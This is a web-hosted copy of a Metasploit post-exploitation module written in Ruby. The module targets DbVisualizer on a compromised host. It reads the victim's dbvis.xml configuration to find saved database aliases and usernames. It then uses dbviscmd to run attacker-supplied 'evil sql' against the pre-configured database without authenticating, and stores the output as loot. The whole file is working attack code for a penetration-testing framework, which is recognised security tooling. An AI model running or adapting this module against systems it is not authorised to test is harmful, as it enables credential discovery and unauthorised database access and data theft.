Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/dbvis_query.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Manage DbVisualizer Query',
15
'Description' => %q{
16
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
17
(With GUI). The remote database can be accessed from the command line without the need
18
to authenticate, and this module abuses this functionality to query and will store the
19
results.
20
21
Please note: backslash quotes and your (stacked or not) queries should
22
end with a semicolon.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
26
'References' => [
27
['URL', 'http://youtu.be/0LCLRVHX1vA']
28
],
29
'Platform' => %w[linux win],
30
'SessionTypes' => [ 'meterpreter' ],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_fs_stat
35
stdapi_sys_config_getenv
36
]
37
}
38
},
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [],
42
'Reliability' => []
43
}
44
)
45
)
46
register_options(
47
[
48
OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),
49
OptString.new('QUERY', [true, 'The query you want to execute on the remote database', '']),
50
]
51
)
52
end
53
54
def run
55
db_type = exist_and_supported
56
57
return if db_type.blank?
58
59
dbvis = find_dbviscmd
60
61
return if dbvis.blank?
62
63
dbvis_query(dbvis, datastore['QUERY'])
64
end
65
66
# Check if the alias exist and if database is supported by this script
67
def exist_and_supported
68
case session.platform
69
when 'linux'
70
user = session.shell_command('whoami')
71
print_status("Current user is #{user}")
72
73
if (user =~ /root/)
74
user_base = '/root/'
75
else
76
user_base = "/home/#{user}/"
77
end
78
79
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
80
when 'windows'
81
user_profile = session.sys.config.getenv('USERPROFILE')
82
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
83
end
84
85
unless file?(dbvis_file)
86
# File not found, we next try with the old config path
87
print_status("File not found: #{dbvis_file}")
88
print_status('This could be an older version of dbvis, trying old path')
89
90
case session.platform
91
when 'linux'
92
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
93
when 'windows'
94
dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
95
end
96
97
unless file?(dbvis_file)
98
print_error("File not found: #{dbvis_file}")
99
return
100
end
101
end
102
103
print_status("Reading : #{dbvis_file}")
104
raw_xml = ''
105
begin
106
raw_xml = read_file(dbvis_file)
107
rescue EOFError => e
108
vprint_error(e.message)
109
end
110
111
if raw_xml.blank?
112
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
113
return
114
end
115
116
db_found = false
117
alias_found = false
118
db_type = nil
119
120
# fetch config file
121
raw_xml.each_line do |line|
122
if line =~ /<Database id=/
123
db_found = true
124
elsif line =~ %r{</Database>}
125
db_found = false
126
end
127
128
next unless db_found == true
129
130
# checkthe alias
131
if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))
132
alias_found = true
133
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
134
end
135
136
if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found
137
print_good("Username for this connection : #{::Regexp.last_match(1)}")
138
end
139
140
# check the type
141
if (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found
142
db_type = ::Regexp.last_match(1)
143
alias_found = false
144
end
145
end
146
if db_type.blank?
147
print_error('Database alias not found in dbvis.xml')
148
end
149
return db_type # That is empty if DB is not supported
150
end
151
152
# Find path to dbviscmd.sh|bat
153
def find_dbviscmd
154
case session.platform
155
when 'linux'
156
dbvis = session.shell_command('locate dbviscmd.sh').chomp
157
if dbvis.blank?
158
print_error('dbviscmd.sh not found')
159
return nil
160
end
161
print_good("Dbviscmd found : #{dbvis}")
162
when 'windows'
163
# Find program files
164
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
165
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
166
if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)
167
program_files = progfiles_x86 # x64
168
else
169
program_files = progfiles_env['ProgramFiles'] # x86
170
end
171
dirs = []
172
session.fs.dir.foreach(program_files) do |d|
173
dirs << d
174
end
175
dbvis_home_dir = nil
176
# Browse program content to find a possible dbvis home
177
dirs.each do |d|
178
if (d =~ /DbVisualizer[\S+\s+]+/i)
179
dbvis_home_dir = d
180
end
181
end
182
if dbvis_home_dir.blank?
183
print_error('Dbvis home not found, maybe uninstalled ?')
184
return nil
185
end
186
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
187
unless file?(dbvis)
188
print_error('dbviscmd.bat not found')
189
return nil
190
end
191
print_good("Dbviscmd found : #{dbvis}")
192
end
193
return dbvis
194
end
195
196
# Query execution method
197
def dbvis_query(dbvis, sql)
198
unless file?(dbvis)
199
print_error("#{dbvis} is not a file")
200
return
201
end
202
203
f = session.fs.file.stat(dbvis)
204
if (f.uid == Process.euid) || Process.groups.include?(f.gid)
205
print_status('Trying to execute evil sql, it can take time ...')
206
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
207
dbvis = "\"#{dbvis}\""
208
cmd = "#{dbvis} #{args}"
209
resp = cmd_exec(cmd)
210
print_line('')
211
print_line(resp.to_s)
212
# store qury and result
213
p = store_loot(
214
'dbvis.query',
215
'text/plain',
216
session,
217
resp.to_s,
218
'dbvis_query.txt',
219
'dbvis query'
220
)
221
print_good("Query stored in: #{p}")
222
else
223
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
224
end
225
end
226
end
227
228